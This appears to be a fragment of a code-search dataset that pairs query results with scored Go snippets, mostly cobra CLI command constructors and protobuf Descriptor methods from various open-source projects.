db,\n\t}\n}", "title": "" }, { "docid": "649ea1efb29a4f4223c4a19ed321763e", "score": "0.6628555", "text": "func NewCommand() *cobra.Command {\n\ts := options.New()\n\n\tcmd := &cobra.Command{\n\t\tUse: \"cloudmusic\",\n\t\tLong: ``,\n\t\tRun: func(cmd *cobra.Command, args []string) {\n\t\t\tc, err := s.Config()\n\t\t\tif err != nil {\n\t\t\t\tklog.Exitln(err)\n\t\t\t}\n\t\t\tif err := Run(c, wait.NeverStop); err != nil {\n\t\t\t\tklog.Exitln(err)\n\t\t\t}\n\t\t},\n\t}\n\n\tfs := cmd.Flags()\n\tfs.AddFlagSet(s.Flags())\n\n\tfs.Set(\"logtostderr\", \"true\")\n\n\treturn cmd\n}", "title": "" }, { "docid": "bb539128cdd72099eb1ea88272721fdc", "score": "0.66271734", "text": "func NewCommand(settings *environment.Settings) *cobra.Command {\n\tcmd := &cobra.Command{\n\t\tUse: \"lifecycle\",\n\t\tShort: \"Manage chaincode lifecycle\",\n\t}\n\n\tcmd.AddCommand(\n\t\tNewPackageCommand(settings),\n\t\tNewInstallCommand(settings),\n\t\tNewApproveCommand(settings),\n\t\tNewCommitCommand(settings),\n\t\tNewQueryInstalledCommand(settings),\n\t\tNewGetInstalledPkgCommand(settings),\n\t\tNewQueryApprovedCommand(settings),\n\t\tNewCheckCommitReadinessCommand(settings),\n\t\tNewQueryCommittedCommand(settings),\n\t)\n\n\tcmd.SetOutput(settings.Streams.Out)\n\n\treturn cmd\n}", "title": "" }, { "docid": "e423c84bb139675ae55c8232733c3e81", "score": "0.6621444", "text": "func NewCommand(ver string) *cobra.Command {\n\treturn &cobra.Command{\n\t\tUse: \"version\",\n\t\tAliases: []string{\"v\", \"ver\"},\n\t\tShort: \"Display application version\",\n\t\tRunE: func(*cobra.Command, []string) (err error) {\n\t\t\t_, err = fmt.Fprintf(os.Stdout, \"app version:\\t%s (%s)\\n\", ver, runtime.Version())\n\n\t\t\treturn\n\t\t},\n\t}\n}", "title": "" }, { "docid": "cfd37d61d1a994ff977b3d27d607a1e2", "score": "0.6620847", "text": "func NewCmd(db *bolt.DB, r io.Reader) *cobra.Command {\n\topts := rmOptions{}\n\n\tcmd := &cobra.Command{\n\t\tUse: \"rm <name>\",\n\t\tShort: \"Remove files from the database\",\n\t\tExample: example,\n\t\tArgs: cmdutil.MustExist(db, cmdutil.File),\n\t\tPreRunE: auth.Login(db),\n\t\tRunE: runRm(db, r, &opts),\n\t\tPostRun: func(cmd *cobra.Command, args []string) {\n\t\t\t// Reset variables (session)\n\t\t\topts = rmOptions{}\n\t\t},\n\t}\n\n\tcmd.Flags().BoolVarP(&opts.dir, \"dir\", \"d\", false, \"remove a directory and all the files stored in it\")\n\n\treturn cmd\n}", "title": "" }, { "docid": "b7955664fa158dc03a8f47a2d98a8bc6", "score": "0.6619689", "text": "func (r *LocalCmdRunner) CreateCmd(ctx context.Context, cmd string, args ...string) {\n\tr.command = testexec.CommandContext(ctx, cmd, args...)\n}", "title": "" }, { "docid": "bb13df755b425b024096c81240d0bb0a", "score": "0.66127396", "text": "func New(commandString string) Command {\n\tif commandString == \"\" {\n\t\treturn Noop{}\n\t}\n\n\t// only uppercase\n\tcommandString = strings.ToUpper(commandString)\n\n\t// simple commands\n\tswitch commandString {\n\tcase \"RR\":\n\t\treturn RoundRobin{}\n\t}\n\n\t// complex command parsing\n\tif commandString[0:1] == \"F\" && (len(commandString) == 2 || len(commandString) == 3) {\n\t\tbuilt := Fail{}\n\t\ti, err := strconv.ParseInt(commandString[1:len(commandString)], 10, 32)\n\t\tif err == nil {\n\t\t\tbuilt.failPercent = int(i)\n\t\t\treturn built\n\t\t}\n\t}\n\n\treturn Noop{}\n}", "title": "" }, { "docid": "41421fb057ef24edecd0918abaa0c7cc", "score": "0.6609646", "text": "func New(p Provider, msgHandler ariescmd.MessageHandler, notifier ariescmd.Notifier) (*Command, error) {\n\tmediatorClient, err := mediator.New(p)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to create mediator client : %w\", err)\n\t}\n\n\tmessengerClient, err := messaging.New(p, msgHandler, notifier)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to create messenger client : %w\", err)\n\t}\n\n\tdidExchangeClient, err := didexchange.New(p)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to create did-exchange client : %w\", err)\n\t}\n\n\toutOfBandClient, err := outofband.New(p)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to create out-of-band client : %w\", err)\n\t}\n\n\treturn &Command{\n\t\tdidExchange: didExchangeClient,\n\t\toutOfBand: outOfBandClient,\n\t\tmediator: mediatorClient,\n\t\tmessenger: messengerClient,\n\t\tdidExchTimeout: didExchangeTimeOut,\n\t\tmsgHandler: msgHandler,\n\t}, nil\n}", "title": "" }, { "docid": "de781580f5c7c0af91db34d11075463d", "score": "0.6597769", "text": "func NewCmd(o *Options) *cobra.Command {\n\n\tcmd := command{\n\t\tCommand: cli.Command{Options: o.Options},\n\t\topts: o,\n\t}\n\n\tcobraCmd := &cobra.Command{\n\t\tUse: \"deploy\",\n\t\tShort: \"Deploys Kyma on a running Kubernetes cluster.\",\n\t\tLong: \"Use this command to deploy, upgrade, or adapt Kyma on a running Kubernetes cluster.\",\n\t\tRunE: func(_ *cobra.Command, _ []string) error { return cmd.Run(cmd.opts) },\n\t\tAliases: []string{\"d\"},\n\t}\n\tcobraCmd.Flags().StringSliceVarP(&o.Components, \"component\", \"\", []string{}, \"Provide one or more components to deploy (e.g. --component componentName@namespace)\")\n\tcobraCmd.Flags().StringVarP(&o.ComponentsFile, \"components-file\", \"c\", \"\", `Path to the components file (default \"$HOME/.kyma/sources/installation/resources/components.yaml\" or \".kyma-sources/installation/resources/components.yaml\")`)\n\tcobraCmd.Flags().StringVarP(&o.WorkspacePath, \"workspace\", \"w\", \"\", `Path to download Kyma sources (default \"$HOME/.kyma/sources\" or \".kyma-sources\")`)\n\tcobraCmd.Flags().StringVarP(&o.Source, \"source\", \"s\", defaultKymaVersion, `Installation source:\n\t- Deploy a specific release, for example: \"kyma deploy --source=2.0.0\"\n\t- Deploy a specific branch of the Kyma repository on kyma-project.org: \"kyma deploy --source=<my-branch-name>\"\n\t- Deploy a commit (8 characters or more), for example: \"kyma deploy --source=34edf09a\"\n\t- Deploy a pull request, for example \"kyma deploy --source=PR-9486\"\n\t- Deploy the local sources: \"kyma deploy --source=local\"`)\n\n\tcobraCmd.Flags().StringVarP(&o.Domain, \"domain\", \"d\", \"\", \"Custom domain used for installation.\")\n\tcobraCmd.Flags().StringVarP(&o.Profile, \"profile\", \"p\", \"\",\n\t\tfmt.Sprintf(\"Kyma deployment profile. If not specified, Kyma uses its default configuration. The supported profiles are: %s, %s.\", profileEvaluation, profileProduction))\n\tcobraCmd.Flags().StringVarP(&o.TLSCrtFile, \"tls-crt\", \"\", \"\", \"TLS certificate file for the domain used for installation.\")\n\tcobraCmd.Flags().StringVarP(&o.TLSKeyFile, \"tls-key\", \"\", \"\", \"TLS key file for the domain used for installation.\")\n\tcobraCmd.Flags().StringSliceVarP(&o.Values, \"value\", \"\", []string{}, \"Set configuration values. Can specify one or more values, also as a comma-separated list (e.g. --value component.a='1' --value component.b='2' or --value component.a='1',component.b='2').\")\n\tcobraCmd.Flags().StringSliceVarP(&o.ValueFiles, \"values-file\", \"f\", []string{}, \"Path(s) to one or more JSON or YAML files with configuration values.\")\n\n\treturn cobraCmd\n}", "title": "" }, { "docid": "ea92013afd7020cc7402608994d929b5", "score": "0.65886235", "text": "func New(params NewParams) (*Command, error) {\n\tif params.IssueTracker == nil {\n\t\treturn nil, errors.New(\"issue tracker cannot be nil\")\n\t}\n\n\tif params.GitRepo == nil {\n\t\treturn nil, errors.New(\"git repo cannot be nil\")\n\t}\n\n\tif params.VersionControl == nil {\n\t\treturn nil, errors.New(\"version control cannot be nil\")\n\t}\n\n\tif params.Logger == nil {\n\t\treturn nil, errors.New(\"logger cannot be nil\")\n\t}\n\n\treturn &Command{\n\t\tissueTracker: params.IssueTracker,\n\t\tgitRepo: params.GitRepo,\n\t\tversionControl: params.VersionControl,\n\t\tlogger: params.Logger,\n\t}, nil\n}", "title": "" }, { "docid": "6fbf8a59d8e02adff97d2603547c6713", "score": "0.65783834", "text": "func NewCommand(ctx context.Context, config *configuration.Configuration) *command.AppCommand {\n\n\tpublishCmdFlagsVar = &publishCmdFlags{}\n\n\tpublishCmd := &cobra.Command{\n\t\tUse: \"publish\",\n\t\tShort: \"Publish message to Redis\",\n\t\tLong: \"Publish message to Redis\",\n\t\tRunE: publishHandler(ctx, config),\n\t}\n\n\tcommand := &command.AppCommand{\n\t\tCommand: publishCmd,\n\t\tConfiguration: config,\n\t\tCtx: ctx,\n\t}\n\n\tpublishCmd.Flags().StringVarP(&publishCmdFlagsVar.Channel, \"channel\", \"c\", \"\", \"Channel where the message will be published to.\")\n\tpublishCmd.MarkFlagRequired(\"channel\")\n\tpublishCmd.Flags().StringVarP(&publishCmdFlagsVar.Message, \"message\", \"m\", \"\", \"Message to be published\")\n\tpublishCmd.MarkFlagRequired(\"message\")\n\tpublishCmd.Flags().StringVarP(&publishCmdFlagsVar.TransportType, \"transport\", \"t\", \"\", \"Choose transport type [pubsub(default)|stream|fifo]\")\n\tpublishCmd.Flags().StringVarP(&publishCmdFlagsVar.Message, \"group\", \"g\", \"default\", \"Consumer group used on stream transport\")\n\n\treturn command\n}", "title": "" }, { "docid": "ec72bae3f70fb90419fd0cee86416a42", "score": "0.65621036", "text": "func NewCommand() *Command {\n\treturn &Command{\n\t\tStderr: os.Stderr,\n\t\tStdout: os.Stdout,\n\t}\n}", "title": "" }, { "docid": "4fa48522b9225a635efbafdca8b30acb", "score": "0.65537196", "text": "func NewCreateCmd(f *cmdutil.Factory) *cobra.Command {\n\to := &CreateOptions{\n\t\tIOStreams: f.IOStreams,\n\t\tConfig: f.Config,\n\t\tConfigPath: f.ConfigPath,\n\t\tSkeletonName: kickoff.DefaultSkeletonName,\n\t}\n\n\tcmd := &cobra.Command{\n\t\tUse: \"create <name> <dir>\",\n\t\tShort: \"Create a new skeleton repository\",\n\t\tLong: cmdutil.LongDesc(`\n\t\t\tCreates a new skeleton repository with a default skeleton to get you started.`),\n\t\tExample: cmdutil.Examples(`\n\t\t\t# Create a new repository\n\t\t\tkickoff repository create myrepo /repository/output/path`),\n\t\tArgs: cmdutil.ExactNonEmptyArgs(2),\n\t\tValidArgsFunction: func(cmd *cobra.Command, args []string, toComplete string) ([]string, cobra.ShellCompDirective) {\n\t\t\tif len(args) == 0 {\n\t\t\t\treturn nil, cobra.ShellCompDirectiveNoFileComp\n\t\t\t}\n\t\t\treturn nil, cobra.ShellCompDirectiveFilterDirs\n\t\t},\n\t\tRunE: func(cmd *cobra.Command, args []string) error {\n\t\t\to.RepoName = args[0]\n\t\t\to.RepoDir = args[1]\n\n\t\t\treturn o.Run()\n\t\t},\n\t}\n\n\tcmd.Flags().StringVarP(&o.SkeletonName, \"skeleton-name\", \"s\", o.SkeletonName,\n\t\t\"Name of the default skeleton that will be created in the new repository.\")\n\n\treturn cmd\n}", "title": "" }, { "docid": "1b6eea645b9115de0c18a927d21de9e8", "score": "0.654594", "text": "func NewCmdPush(name, fullName string) *cobra.Command {\n\tpo := NewPushOptions()\n\n\tvar pushCmd = &cobra.Command{\n\t\tUse: fmt.Sprintf(\"%s [component name]\", name),\n\t\tShort: \"Push source code to a component\",\n\t\tLong: `Push source code to a component.`,\n\t\tExample: fmt.Sprintf(pushCmdExample, fullName),\n\t\tArgs: cobra.MaximumNArgs(1),\n\t\tRun: func(cmd *cobra.Command, args []string) {\n\t\t\todoutil.LogErrorAndExit(po.Complete(name, cmd, args), \"\")\n\t\t\todoutil.LogErrorAndExit(po.Validate(), \"\")\n\t\t\todoutil.LogErrorAndExit(po.Run(), \"\")\n\t\t},\n\t}\n\n\tpushCmd.Flags().StringVarP(&po.local, \"local\", \"l\", \"\", \"Use given local directory as a source for component. (It must be a local component)\")\n\n\t// Add a defined annotation in order to appear in the help menu\n\tpushCmd.Annotations = map[string]string{\"command\": \"component\"}\n\tpushCmd.SetUsageTemplate(odoutil.CmdUsageTemplate)\n\tcompletion.RegisterCommandHandler(pushCmd, completion.ComponentNameCompletionHandler)\n\n\t//Adding `--project` flag\n\tprojectCmd.AddProjectFlag(pushCmd)\n\t//Adding `--application` flag\n\tappCmd.AddApplicationFlag(pushCmd)\n\n\treturn pushCmd\n}", "title": "" }, { "docid": "12e85720eb1cb79e8702268fc1f91090", "score": "0.6535147", "text": "func NewCommand(\n\tname string,\n\tbuilder appflag.Builder,\n) *appcmd.Command {\n\tflags := newFlags()\n\treturn &appcmd.Command{\n\t\tUse: name + \" <source>\",\n\t\tShort: \"Push a module to a registry\",\n\t\tLong: bufcli.GetSourceLong(`the source to push`),\n\t\tArgs: cobra.MaximumNArgs(1),\n\t\tRun: builder.NewRunFunc(\n\t\t\tfunc(ctx context.Context, container appflag.Container) error {\n\t\t\t\treturn run(ctx, container, flags)\n\t\t\t},\n\t\t\tbufcli.NewErrorInterceptor(),\n\t\t),\n\t\tBindFlags: flags.Bind,\n\t}\n}", "title": "" }, { "docid": "5d05067b78c58390ad17cfdb7fea436b", "score": "0.6532636", "text": "func NewCreateCmd(config *config.Config) *CreateCmd {\n\tcreateCmd := &CreateCmd{\n\t\tcfg: config,\n\t\tforceRefresh: false,\n\t}\n\tcreateCmd.Cmd = &cobra.Command{\n\t\tUse: \"create <sample> [destination]\",\n\t\tValidArgs: samples.Names(),\n\t\tArgs: validators.MaximumNArgs(2),\n\t\tShort: \"Setup and bootstrap a Stripe Sample\",\n\t\tLong: `The create command will locally clone a sample, let you select which integration,\nclient, and server you want to run. It then automatically bootstraps the\nlocal configuration to let you get started faster.`,\n\t\tExample: `stripe samples create adding-sales-tax\n stripe samples create react-elements-card-payment my-payments-form`,\n\t\tRunE: createCmd.runCreateCmd,\n\t}\n\n\tcreateCmd.Cmd.Flags().BoolVar(&createCmd.forceRefresh, \"force-refresh\", false, \"Forcefully refresh the local samples cache\")\n\n\treturn createCmd\n}", "title": "" }, { "docid": "c18d9d92d98d3b21790df73f358f2e9b", "score": "0.65249366", "text": "func NewTxCmd() *cobra.Command {\n\ttxCmd := &cobra.Command{\n\t\tUse: types.ModuleName,\n\t\tShort: \"Oracle admin subcommands\",\n\t\tDisableFlagParsing: true,\n\t\tSuggestionsMinimumDistance: 2,\n\t\tRunE: client.ValidateCmd,\n\t}\n\n\ttxCmd.AddCommand()\n\treturn txCmd\n}", "title": "" }, { "docid": "a5a72a92ae52f0b98eb876effcc4c74c", "score": "0.6515043", "text": "func NewCmd() (*cobra.Command, *Options) {\n\to := &Options{}\n\tcmd := &cobra.Command{\n\t\tUse: \"cli-doc-gen\",\n\t\tShort: \"a tool to generate website documentation files from shell scripts or other source code\",\n\t\tRun: func(cmd *cobra.Command, args []string) {\n\t\t\tcommon.SetLoggingLevel(cmd)\n\t\t\terr := o.Run()\n\t\t\thelper.CheckErr(err)\n\t\t},\n\t}\n\tcmd.Flags().StringVarP(&o.File, \"file\", \"f\", \"\", \"the file name to use to extract a set of commands\")\n\tcmd.Flags().StringVarP(&o.OutFile, \"out\", \"o\", \"\", \"the output file to create\")\n\tcmd.Flags().StringVarP(&o.StartPrefix, \"start\", \"s\", \"# CLI-DOC-GEN-START\", \"the prefix of the line starting the extraction\")\n\tcmd.Flags().StringVarP(&o.EndPrefix, \"end\", \"e\", \"# CLI-DOC-GEN-END\", \"the prefix of the line ending the extraction\")\n\tcmd.Flags().StringArrayVarP(&o.TrimPrefix, \"trim-prefix\", \"\", nil, \"prefix strings to trim from the start of each line\")\n\treturn cmd, o\n}", "title": "" }, { "docid": "4b2353cdb05dc21e91dc053f940de7f6", "score": "0.65085477", "text": "func NewDeleteCmd(path string) *Kubectl {\n\treturn &Kubectl{\n\t\tCommand: exec.Command(kubectl, \"delete\", \"-f\", path),\n\t\tInput: nil,\n\t\tError: make([]byte, 0),\n\t\tOutput: make([]byte, 0),\n\t}\n}", "title": "" }, { "docid": "a8acac24f26a830dd6d2c28cfe802f60", "score": "0.6507357", "text": "func New() *cli.Command {\n\tbuild := &cli.Command{\n\t\tName: \"build\",\n\t\tUsage: \"build a graph\",\n\t\tSubcommands: []*cli.Command{},\n\t}\n\n\tbuild.Subcommands = append(build.Subcommands, K8s())\n\n\treturn build\n}", "title": "" } ]
5cc20f66aa6ba9edee880cd8f91bfa4f
Deprecated: Use CashAccountResponse.ProtoReflect.Descriptor instead.
[ { "docid": "19ea60e637f11a39826b6fb850c0334b", "score": "0.70777816", "text": "func (*CashAccountResponse) Descriptor() ([]byte, []int) {\n\treturn file_cashAccountService_proto_rawDescGZIP(), []int{1}\n}", "title": "" } ]
[ { "docid": "ef50bed7b6ce12203b78aa2582d2ee48", "score": "0.71293527", "text": "func (*AccountResponse) Descriptor() ([]byte, []int) {\n\treturn file_proto_account_proto_rawDescGZIP(), []int{1}\n}", "title": "" }, { "docid": "bf243a50d734f7f3980ca33552addd4d", "score": "0.70952445", "text": "func (*SweepAccountResponse) Descriptor() ([]byte, []int) {\n\treturn file_api_proto_rawDescGZIP(), []int{179}\n}", "title": "" }, { "docid": "ba0f8531efc932e6d2d6eda2a0b3f5b5", "score": "0.7008517", "text": "func (*AccountsResponse_Account) Descriptor() ([]byte, []int) {\n\treturn file_api_proto_rawDescGZIP(), []int{15, 0}\n}", "title": "" }, { "docid": "09f51b833ce41a049b3d730ebda79eea", "score": "0.69909704", "text": "func (*FindServiceAccountRequest_Response) Descriptor() ([]byte, []int) {\n\treturn file_uac_ServiceAccount_proto_rawDescGZIP(), []int{4, 0}\n}", "title": "" }, { "docid": "684296d13cfddbc0f0808a660673fdbe", "score": "0.6923678", "text": "func (*RenameAccountResponse) Descriptor() ([]byte, []int) {\n\treturn file_api_proto_rawDescGZIP(), []int{19}\n}", "title": "" }, { "docid": "dbe3579c80c7f7a26d1b9be8a5550b3d", "score": "0.6917576", "text": "func (*SetAccountResponse) Descriptor() ([]byte, []int) {\n\treturn file_api_proto_rawDescGZIP(), []int{132}\n}", "title": "" }, { "docid": "3f48a8f79be8a8f18f00ebf940c25d8a", "score": "0.6892584", "text": "func (*GetAccountReply) Descriptor() ([]byte, []int) {\n\treturn file_account_proto_rawDescGZIP(), []int{7}\n}", "title": "" }, { "docid": "3d9285d088cdb43bf325f852e8f18876", "score": "0.68823767", "text": "func (*CreateAccountResponse) Descriptor() ([]byte, []int) {\n\treturn file_account_proto_rawDescGZIP(), []int{3}\n}", "title": "" }, { "docid": "14ad374efda395c76083ec0790968166", "score": "0.68183273", "text": "func (*ListAccountsResponse) Descriptor() ([]byte, []int) {\n\treturn file_accounts_proto_rawDescGZIP(), []int{3}\n}", "title": "" }, { "docid": "533f5d32a8b4bffc7cff401deb577376", "score": "0.68113875", "text": "func (*AccountsResponse) Descriptor() ([]byte, []int) {\n\treturn file_api_proto_rawDescGZIP(), []int{15}\n}", "title": "" }, { "docid": "ae292320fc2e71c0de9d686c392a915b", "score": "0.6803658", "text": "func (*FindAccountResponse) Descriptor() ([]byte, []int) {\n\treturn file_proto_micro_mall_pay_proto_pay_business_pay_business_proto_rawDescGZIP(), []int{2}\n}", "title": "" }, { "docid": "c00381568cfa52ce576819e1f5be3730", "score": "0.6779012", "text": "func (*AddFundsResponse) Descriptor() ([]byte, []int) {\n\treturn file_account_proto_rawDescGZIP(), []int{3}\n}", "title": "" }, { "docid": "778f41f894c0cbe1d83e432dbdee3bf2", "score": "0.67632985", "text": "func (*GetAccountRequest) Descriptor() ([]byte, []int) {\n\treturn file_account_proto_rawDescGZIP(), []int{6}\n}", "title": "" }, { "docid": "b777666ea8343e6cd4486840994e82ea", "score": "0.674955", "text": "func (*DeleteAccountReply) Descriptor() ([]byte, []int) {\n\treturn file_account_proto_rawDescGZIP(), []int{5}\n}", "title": "" }, { "docid": "7c90ab77be6b5ace3fd4bc88173a0bb8", "score": "0.67419505", "text": "func (*GetOtherAccountsResponse) Descriptor() ([]byte, []int) {\n\treturn file_github_com_openbank_openbank_v1_counterparty_all_proto_rawDescGZIP(), []int{12}\n}", "title": "" }, { "docid": "1fa3727c36ac934f04ed5bde35043777", "score": "0.6741405", "text": "func (*CreateAccountResponse) Descriptor() ([]byte, []int) {\n\treturn file_proto_micro_mall_pay_proto_pay_business_pay_business_proto_rawDescGZIP(), []int{9}\n}", "title": "" }, { "docid": "8e7ed2e45d4f8135448195cfcb2e45b8", "score": "0.67217356", "text": "func (*LinkedAccountsResponse) Descriptor() ([]byte, []int) {\n\treturn file_system_proto_rawDescGZIP(), []int{7}\n}", "title": "" }, { "docid": "879ac60879fcedc4c298d68a4679f088", "score": "0.6715904", "text": "func (*RemoveServiceAccountFromDeviceResponse) Descriptor() ([]byte, []int) {\n\treturn edgelq_devices_proto_v1alpha2_device_custom_proto_rawDescGZIP(), []int{3}\n}", "title": "" }, { "docid": "d9fa4dc2247782643089bbe67fa40c8b", "score": "0.67054915", "text": "func (*GetAccountExtendedPrivKeyResponse) Descriptor() ([]byte, []int) {\n\treturn file_api_proto_rawDescGZIP(), []int{174}\n}", "title": "" }, { "docid": "b44024765f3e3043d1f06882f39b0bd7", "score": "0.67052966", "text": "func (*ListAccountReply) Descriptor() ([]byte, []int) {\n\treturn file_account_proto_rawDescGZIP(), []int{9}\n}", "title": "" }, { "docid": "fe64b0145df660b7c75ae030bb0f67e0", "score": "0.6688764", "text": "func (*GetAccountRequest) Descriptor() ([]byte, []int) {\n\treturn file_accounts_proto_rawDescGZIP(), []int{4}\n}", "title": "" }, { "docid": "632797778074c532d04a46f4cfa1e268", "score": "0.6686921", "text": "func (*UnlockAccountResponse) Descriptor() ([]byte, []int) {\n\treturn file_api_proto_rawDescGZIP(), []int{197}\n}", "title": "" }, { "docid": "7f2bd86c8cb395ce82a165712910901f", "score": "0.6684943", "text": "func (*UpdateAccountReply) Descriptor() ([]byte, []int) {\n\treturn file_account_proto_rawDescGZIP(), []int{3}\n}", "title": "" }, { "docid": "d1485c48e7cef80b551dc974cb728607", "score": "0.6674737", "text": "func (x *fastReflection_QueryCreditTypesResponse) Descriptor() protoreflect.MessageDescriptor {\n\treturn md_QueryCreditTypesResponse\n}", "title": "" }, { "docid": "40e21a6b91b3b12f48ac8afb1089b044", "score": "0.6671199", "text": "func (*AccountRequest) Descriptor() ([]byte, []int) {\n\treturn file_proto_account_proto_rawDescGZIP(), []int{0}\n}", "title": "" }, { "docid": "4d1657b935ba9dfc56542e1744d902d3", "score": "0.6643372", "text": "func (*DeleteAccountRequest) Descriptor() ([]byte, []int) {\n\treturn file_account_proto_rawDescGZIP(), []int{4}\n}", "title": "" }, { "docid": "1b1169bf0e5d959fdeb4d0eed3ec0ce2", "score": "0.6643326", "text": "func (*ListAccountRequest) Descriptor() ([]byte, []int) {\n\treturn file_account_proto_rawDescGZIP(), []int{8}\n}", "title": "" }, { "docid": "1ae13eb7d6f448e22d9965c8c7472e4d", "score": "0.6640463", "text": "func (*DeprecateDomainResponse) Descriptor() ([]byte, []int) {\n\treturn file_uber_cadence_api_v1_service_domain_proto_rawDescGZIP(), []int{5}\n}", "title": "" }, { "docid": "1338098aa4f587a35a8ff7676e5a7cfd", "score": "0.6627854", "text": "func (*AddFriendResponse) Descriptor() ([]byte, []int) {\n\treturn file_account_proto_rawDescGZIP(), []int{9}\n}", "title": "" }, { "docid": "44e6620b20ae56db8981ef0c03be2469", "score": "0.6625097", "text": "func (*CMsgAccountDetails) Descriptor() ([]byte, []int) {\n\treturn file_gcsdk_gcmessages_proto_rawDescGZIP(), []int{8}\n}", "title": "" }, { "docid": "c2654de1c917f2d796bb6cb51857d55f", "score": "0.662059", "text": "func (*AccountChargeResponse) Descriptor() ([]byte, []int) {\n\treturn file_proto_micro_mall_pay_proto_pay_business_pay_business_proto_rawDescGZIP(), []int{4}\n}", "title": "" }, { "docid": "fc9b67ace1b1d2b7fea695cd76f70424", "score": "0.6614112", "text": "func (*DeleteAccountRequest) Descriptor() ([]byte, []int) {\n\treturn file_accounts_proto_rawDescGZIP(), []int{7}\n}", "title": "" }, { "docid": "0b4c4798accb06c83f20aeff0ff4b77c", "score": "0.6600893", "text": "func (*SweepAccountRequest) Descriptor() ([]byte, []int) {\n\treturn file_api_proto_rawDescGZIP(), []int{178}\n}", "title": "" }, { "docid": "117cd3fa5f19495caee4683d7fe43655", "score": "0.6596803", "text": "func (*ProtoAccount) Descriptor() ([]byte, []int) {\n\treturn file_member_proto_rawDescGZIP(), []int{47}\n}", "title": "" }, { "docid": "2bcda080fe098ed46b1398c7e8d2ea18", "score": "0.6590565", "text": "func (*UpdateAccountRequest) Descriptor() ([]byte, []int) {\n\treturn file_account_proto_rawDescGZIP(), []int{2}\n}", "title": "" }, { "docid": "ec32c2fbd40ad732ad3319ee471b8fac", "score": "0.65814114", "text": "func (*Account) Descriptor() ([]byte, []int) {\n\treturn file_rpc_proto_rawDescGZIP(), []int{20}\n}", "title": "" }, { "docid": "c4ecfab7ecab8d37607de51c5a1897bf", "score": "0.6566361", "text": "func (*NextAccountResponse) Descriptor() ([]byte, []int) {\n\treturn file_api_proto_rawDescGZIP(), []int{23}\n}", "title": "" }, { "docid": "e64b6bfa93fb080777457f6620818328", "score": "0.6565384", "text": "func (*AccountStatusResponse) Descriptor() ([]byte, []int) {\n\treturn file_rpc_proto_rawDescGZIP(), []int{19}\n}", "title": "" }, { "docid": "bc0477f52b886e38bed1db46f1d89085", "score": "0.6562781", "text": "func (*RenameAccountRequest) Descriptor() ([]byte, []int) {\n\treturn file_api_proto_rawDescGZIP(), []int{18}\n}", "title": "" }, { "docid": "be039bdda9352c9817fadb2b3f594f66", "score": "0.65577024", "text": "func (*AccountCreateResponse) Descriptor() ([]byte, []int) {\n\treturn file_rpc_proto_rawDescGZIP(), []int{3}\n}", "title": "" }, { "docid": "112f0a059a555d7f5d6ae52cf770e8e1", "score": "0.6556631", "text": "func (*AccountInviteResponse) Descriptor() ([]byte, []int) {\n\treturn file_rpc_proto_rawDescGZIP(), []int{5}\n}", "title": "" }, { "docid": "d7bd1ece2e4794c1f3db4e161e22197e", "score": "0.6550043", "text": "func (*UpdateAccountRequest) Descriptor() ([]byte, []int) {\n\treturn file_accounts_proto_rawDescGZIP(), []int{6}\n}", "title": "" }, { "docid": "c40e6b150ee79b6ed0ccc26a0ddac7cc", "score": "0.65439886", "text": "func (*AccountReply) Descriptor() ([]byte, []int) {\n\treturn file_member_proto_rawDescGZIP(), []int{49}\n}", "title": "" }, { "docid": "e7a46cb185d2b3c2e6d04bc8e9ca9e1c", "score": "0.65299785", "text": "func (*AccountNotificationsResponse) Descriptor() ([]byte, []int) {\n\treturn file_api_proto_rawDescGZIP(), []int{84}\n}", "title": "" }, { "docid": "ee50bad82bd9262d4662fd14982b3207", "score": "0.65197664", "text": "func (*Account) Descriptor() ([]byte, []int) {\n\treturn file_proto_google_fhir_proto_r4_core_resources_account_proto_rawDescGZIP(), []int{0}\n}", "title": "" }, { "docid": "e993baa042bc2db7af4a6fadf95343ab", "score": "0.6518477", "text": "func (*CashAccount) Descriptor() ([]byte, []int) {\n\treturn file_cashAccountService_proto_rawDescGZIP(), []int{0}\n}", "title": "" }, { "docid": "6a655f6776f233082aa0d38f5c1aa40a", "score": "0.6517879", "text": "func (*AccountCredited) Descriptor() ([]byte, []int) {\n\treturn file_github_com_jmalloc_ax_examples_banking_messages_account_proto_rawDescGZIP(), []int{3}\n}", "title": "" }, { "docid": "7a9fd59a49f381ff3594932aa4610255", "score": "0.6516852", "text": "func (*LocalDisconnectResponse) Descriptor() ([]byte, []int) {\n\treturn file_cluster_proto_rawDescGZIP(), []int{3}\n}", "title": "" }, { "docid": "e7968c699a28ac4e08cf077b6836799d", "score": "0.6504379", "text": "func (*UpdateAttachmentAccountResponse) Descriptor() ([]byte, []int) {\n\treturn file_mysql_proto_rawDescGZIP(), []int{11}\n}", "title": "" }, { "docid": "b5fdb666f5bd0dad3ad6977b80afc2b3", "score": "0.65041554", "text": "func (*AccountNumberResponse) Descriptor() ([]byte, []int) {\n\treturn file_api_proto_rawDescGZIP(), []int{13}\n}", "title": "" }, { "docid": "a3542334df663ef6e8fb0357211a330a", "score": "0.64997554", "text": "func (*RunAccountMixerResponse) Descriptor() ([]byte, []int) {\n\treturn file_api_proto_rawDescGZIP(), []int{124}\n}", "title": "" }, { "docid": "31222fbf24fdc912756a14a7cafdaeee", "score": "0.6497029", "text": "func (x *fastReflection_MsgUpdateCuratorResponse) Descriptor() protoreflect.MessageDescriptor {\n\treturn md_MsgUpdateCuratorResponse\n}", "title": "" }, { "docid": "db3bc709e988885e3e42368af3746e17", "score": "0.6495394", "text": "func (*AccountInfo) Descriptor() ([]byte, []int) {\n\treturn file_go_chromium_org_luci_common_proto_gerrit_gerrit_proto_rawDescGZIP(), []int{4}\n}", "title": "" }, { "docid": "79a5cc0c9be24df30d0c152c66351b03", "score": "0.6494951", "text": "func (*UpdateServiceAccountRequest) Descriptor() ([]byte, []int) {\n\treturn file_uac_ServiceAccount_proto_rawDescGZIP(), []int{2}\n}", "title": "" }, { "docid": "62d4774b93e668be60cc7d83d8bd02e9", "score": "0.6489226", "text": "func (*DescribeClusterResponse) Descriptor() ([]byte, []int) {\n\treturn file_uber_cadence_admin_v1_service_proto_rawDescGZIP(), []int{25}\n}", "title": "" }, { "docid": "6a839a674f971522b891ddb8f6e530cc", "score": "0.6488429", "text": "func (*UserAccountResponse) Descriptor() ([]byte, []int) {\n\treturn file_system_proto_rawDescGZIP(), []int{1}\n}", "title": "" }, { "docid": "3c053a5d717bcc34b14373977425d9ad", "score": "0.6486316", 